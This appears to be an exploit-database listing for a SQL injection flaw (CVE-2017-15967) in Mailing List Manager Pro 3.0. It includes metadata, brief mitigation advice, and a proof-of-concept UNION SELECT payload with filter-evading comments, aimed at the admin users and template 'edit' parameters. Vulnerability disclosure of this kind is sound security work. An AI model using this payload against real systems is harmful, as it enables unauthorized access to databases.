Mailing List Manager Pro 3.0 - SQL Injection

vendor:

Mailing List Manager Pro

by:

Ihsan Sencan

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: Mailing List Manager Pro

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: N/A

Related CWE: CVE-2017-15967

CPE: a:vote-pro:mailing_list_manager_pro

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

Mailing List Manager Pro 3.0 – SQL Injection

The vulnerability allows an users to inject sql commands. Proof of Concept: http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL] -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+- http://localhost/[PATH]/admin/template/?edit=[SQL]

Mitigation:

Input validation and sanitization, use of prepared statements, use of stored procedures, use of least privilege accounts, use of parameterized queries, use of web application firewalls, etc.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Mailing List Manager Pro 3.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.vote-pro.com/
# Software Link: http://www.mailing-manager.com/demo.html
# Demo: http://www.mailing-manager.com/demo-gold/
# Version: 3.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15967
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/users/?sort=login&edit=[SQL]
# 
# -2'++/*!03333UNION*/(/*!03333SELECT*/0x283129,0x283229,0x283329,/*!03333CONCAT_WS*/(0x203a20,USER()),0x283529,/*!03333CONCAT_WS*/(0x203a20,DATABASE()),/*!03333CONCAT_WS*/(0x203a20,VERSION()),0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429)--+-
# 
# http://localhost/[PATH]/admin/template/?edit=[SQL]
# 
# Etc..
# # # # #